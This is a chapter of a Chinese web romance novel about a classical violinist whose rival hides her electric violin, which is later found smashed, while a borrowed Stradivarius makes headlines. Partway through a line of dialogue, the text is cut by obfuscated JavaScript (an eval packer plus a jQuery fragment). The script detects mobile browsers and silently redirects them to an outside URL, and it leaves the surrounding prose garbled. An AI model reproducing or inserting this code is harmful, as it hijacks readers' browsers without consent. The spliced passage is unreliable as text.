如今电提换成木提,这一段音色无论如何都会被淹没,可当她手里那架小提琴被拉响那一刻,她却惊讶的发现这架琴的音色异常丰满厚实,传送力极强,竟与电提的音量不分伯仲。 田艾丽投来错愕的一瞥,随即笑了笑,旧琴的音色虽然不错,不过这只是因为旋律柔缓安静,一旦曲速攀升,木提的音色会被完全盖过。 然而,田艾丽料错了。如果晨珀以最后敲定的伴奏方案演奏,木提伴奏的确会像一场笑话,可她却临时改了伴奏方式。 说起来,这还得感谢田艾丽前阵子的刁难,那么多的伴奏方案她都练得烂熟,脑子里都是伴奏,想怎么拉都可以,根本不必贴合主旋律进行。 倒是田艾丽,被晨珀临时更改的伴奏弄得措手不及,脸色青青紫紫的变幻,再没功夫去瞪晨珀。 同样脸色难看的还有幕布旁的祝霍,他是个保守派,向来循规蹈矩,在声世工作这几年,还是第一次见到临场乱改演奏的表演者。 最绝的是,原本贴合突出主旋律的伴奏,如今听起来更像是相互配合的协奏。 那把木质小提琴的音色,毫不逊色于田艾丽的电提,旋律犹如一场辩论,又犹如一次赛跑,激烈而飞扬,在两人飞速起落的手势里,轮流绽放。 直至最后一个音符结束,台下响起热烈掌声,祝霍仍感觉自己的心在胸腔里砰砰狂跳。 还好没有演砸! 太疯狂了! 这个晨珀的胆子实在太大了! 掌声中,两人退下舞台,田艾丽一脸铁青的走在前面,经过祝霍面前,直接将手里的电提塞到他手里,头也不回的走了。 晨珀歪头看着她的背影,缓缓眯起了眼。 ### 后台走廊拐角尽头一间杂物室的门被人打开,有人踩着高跟鞋脚步匆忙的走进来,那人推开两个空置的大纸箱,搁在下面木箱里的提琴盒顿时露了出来。 昏暗室内,田艾丽怨恼的盯着琴盒,早知道她就不藏这把电提了! 她藏了她的琴,反倒给了她机会在演出时出风头!好好的独奏变成协奏,硬生生被人抢了半个主奏身份!真是气死她了! 更麻烦的是,她该怎么处理面前的电提? 如果只是一把普通的琴倒也罢了,最多丢在这里不要。可这把黑提是小提琴女王品牌Alice的限量纪念版,国内目前仅此一架,是电子乐部的藏品之一,当初晨珀从诸多电子提琴里挑中这把琴的时候她就曾感叹过她的运气。 她不可能丢了这么重要的琴! 正当田艾丽踌躇着该怎么不着痕迹把提琴放回化妆间去时,一道男声自她身后传来。 “田小姐,灯光这么暗,请问你在这里……做什么呢?”那声音优雅而礼貌,似乎还带着一丝笑意,“啊,这琴盒看起来很眼熟啊,莫非——是晨小姐的那个吗?” 他惊讶起来,随后朝着另外什么人说道:“原来是找到了晨小姐失踪的提琴,唐总,田小姐真聪明。” 田艾丽整个人都僵硬了。 她慢慢回过头去,果然看见了熟悉的秀美脸孔。 只是这一刻,他眉宇紧拧,那双总是带笑的桃花眼里带着让她身体发寒的冷厉。 “唐晗……”田艾丽喊了一声,努力让自己镇定,“我刚好来这里,没想到找到了提琴……” 男子一言不发的走上前,弯下腰,修长手指拎起琴盒,片刻,他的脸色猛地一沉。带着疑问和审视的长眸再度看向田艾丽,随后带上浓浓怒意:“怎么回事?” 听到质问,田艾丽懵了。 “怎么了?”一旁的方谌走上前。 唐晗脸孔紧绷,同时将手里的琴盒打开,沉声道:“琴碎了。” 田艾丽不可置信的看过去,琴盒里,那把珍贵的黑提支离破碎的躺在那儿,就坏损程度来看已不可能再修复。 ### 晨珀是后来从祝霍口中知道这件事的。 田艾丽到底是董事家的千金,整件事被压了下来,知道实情的人就那么几个。但就算是他,那天接到唐晗通知时也吃了一惊。 倒是此刻站在他面前的晨珀,闻言只是哦了声,并未露出太诧异的表情。 “你是不是早就知道是她藏了你的提琴?”祝霍皱眉。 “不算。”晨珀摸摸鼻子。不能说是知道,充其量只是猜测,毕竟提琴又不会自己长脚跑了,而在声世里,和她不对盘又在场的人也只有田艾丽。 “你——”祝霍欲言又止,想到那天冲她发的火心里不禁有些尴尬,“对了,你过来找我什么事?” “我已经报了名参加比赛,想问问公司能不能再借一架电提给我,本来是想自己去买一把的,不过去了几家店,电提的音色都没有那架黑提好。” 祝霍闻言顿时有些泪流满面,要是公司还有第二家黑提,唐总那天还至于发这么大脾气吗? 其实那天唐总本来也没想当着外人面训斥田艾丽,只是叫了他过去接手,显然还想私下解决。田艾丽倒好,见他一去反而先发了脾气,直说唐总偏心,连解释的机会都不给她,死活不肯走,非惹得唐总大怒,把她一顿狠骂。 当时在场的还有一个面生的男性,衣衫革履容貌斯文,据闻是唐总合作对象的特助。 田艾丽发脾气的时候可能没想到唐晗竟会真当着外人的面骂自己,当下自尊心受创,最后竟哭着跑了,后面的亮相和拍照环节统统没参加。 之后,倒是有记者意外拍下她匆匆驾车离开的照片,第二天“电音天后”负气离场的新闻随同赛前演出的宣传一同出来。 稍微懂行的人一对照节目单就能发现,原本的独奏加伴奏不知怎么的变成了两人协奏,行内名家也颇有议论,认为依声世以往的严谨,不该出现临场变更的情况,于是将之评价为演出纰漏。 田艾丽这两天连脸都没露过,祝霍正头疼她之后的演出行程呢! 不过再头疼,这些事都怪不到晨珀身上,加之有唐晗这层关系,祝霍当下让助理带她去收藏室重新挑了一架电提。 等她离开后,想了想,又打电话给陈烁,表示晨珀之后会参赛,让他照顾一下,尤其是编曲方面的问题,她毕竟是拉古典的,很多情况都不熟悉。 片刻后,领着晨珀去挑琴的助理回来了,脸色有点微妙。 祝霍猜到什么,心里一颤:“挑了哪架?” “这次倒没挑限量版的。” 祝霍脸色刚缓和,就听见助理又继续道:“不过挑了最贵的那把……” 祝霍:“……” ### 临下班的时候,唐晗给晨珀去了电话。 “晚上一起吃饭吧。”他这几天心情不好,忙完了公事就想见她。他以为约她总要费点口舌,结果刚开口,她就在电话那头干脆的问他地点时间。 “半小时后你去大门处,我把车开上来。” “我直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784064|157957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去停车场吧,天冷。”声世的停车场在负二层,她从内部坐电梯直达再乘坐唐晗车子离开的话,今天守在外面的那辆商务房车就跟不到她了。 晨珀提着两个琴盒下楼的时候,他已经等在车里了。 她刚踏出电梯间他就看见了她,这几天温度骤降,今天白天就到了零下六度,南方城市很少有这样的低温。晨珀怕冷,羽绒服外又裹了件毛茸茸的大披风,连帽子都是白色长毛的,远远看去就像是一只动物慢吞吞挪了过来。 唐晗红润的嘴唇一点点勾起,笑意舒展了他的眉宇,眉目间冷色散去,只留下缱绻的温柔以及……犹如注视圈养宠物般的专注眼神。 晨珀:“……”突然有点后悔应邀了怎么办? “吃什么?”他边问边发动了车子。 “随便,简单点就行。” 她的重点并不在吃饭,而是想借他的手把这架小提琴还给那人。 虽然是仿琴,但她直觉这架琴价格应该不低,她不能平白无故留着,但也不想自己送上门去,“对了,后面那个银色提琴盒你记得还给简墨准,顺便帮我说声谢谢。” 唐晗看她一眼,长眉拧起:“他借了小提琴给你?” “上台前他助理拿给我的,这把音色更好。”晨珀面不改色。 唐晗没再说什么,脸色却有些不好。 她巴不得他安安静静开车,自然不会主动说话。他最后带她去了家西餐厅,餐厅位于一家星级酒店的顶层,环境清静,客人也不多。 晨珀猜测这应该和餐厅只接待会员有关。 服务员递来餐单后,他没问她,直接替她点好了东西,依旧海鲜为主。其实晨珀原本想试试牛排,不过有的吃就好,她不挑剔。 唐晗给自己点的是牛排,主菜送上来时她多看了两眼,他大概是觉察到了,搁下刀叉端起盘子递到她面前。 “和你换。” “你吃过了。”她没接。 他眯起眼,盯着她看了好一会才开口:“晨珀,你是不是欠收拾?” 她倒是挺想顺嘴回一句“你预备怎么收拾我?”不过想到上次吃的亏,这种口头上的便宜她就不占了。再加上还想让他去还小提琴,最后还是把盘子接了下来。 他唇角勾了勾,又伸手将她面前的盘子取过去。餐桌上的气氛缓和了些,唐晗心里总归有些不爽,想开口再问时,手机响了。 电话是耿硕东打来的,这个点若非重要公事,对方一般不会打扰他。 “什么事?” “唐总,胡崇光刚刚转发了一条我们赛前演出的微博,你看了没有?” 耿硕东说的这个胡崇光是国内非常有名的一位小提琴收藏家,据闻在他的上亿身家里,除开几处不动产,其他全部抖投资在小提琴的收藏上。 他本身不会拉琴,但是对小提琴却非常有研究。 “转发怎么写的?”唐晗有些不解,胡崇光虽然喜欢小提琴,但对古典乐却一窍不通,所以从来不对演奏会做出任何评价。 “唐总,我建议你还是自己看一下吧。” “你先别挂。”唐晗点开微博,快速查找浏览,片刻后,他赫然抬头,看着餐桌对面的黑发女孩。 “怎么了?”晨珀被他盯的不太舒服。 他没有回答,朝电话那头的耿硕东说了句过会联系,然后挂了电话。 晨珀觉察出了异状:“什么事,你直接说吧!” 女孩眉目似水,精美五官淡雅恬静,顶层餐厅柔和朦胧的光线下,那双黑瞳仿佛融入了星光,让被注视的人,有一种被重视着依赖着的错觉。 她这张脸的欺瞒性太大,就算是他,也曾经很长一段时间以为她是个软纯的乖巧女孩。 可后来才发现,她内心其实比谁都任性。 他靠向椅背,白皙面容随着他的动作陷入了黑暗。他身侧的落地玻璃外,雪不知道什么时候开始下了,在城市的高处看雪和在地面上看雪是完全不同的感觉。 晨珀被吸引了注意力,贴在玻璃上朝脚下的城市望去,却听到他问:“你和简墨准到底什么关系?” 她回头,对上他阴郁下来的脸。 她摸了摸鼻子,慢慢反问:“他不是你的朋友么,怎么问起我来了?” “斯特拉迪瓦里名琴1716,现今价值无法估计,原本应该存放在英国的阿什莫尔博物馆,却在国内一场名不见经传的赛前热身演出上出现,那个年轻的伴奏者究竟是何身份……” 唐晗将手机缓缓推到她面前,声音里带上讽刺意味,眼神却逐渐锐利,“恭喜你,即将成为明天行内的头条人物。现在,请你告诉我,如果你和简墨准不认识,为什么他会将一把这么名贵的小提琴借给你?”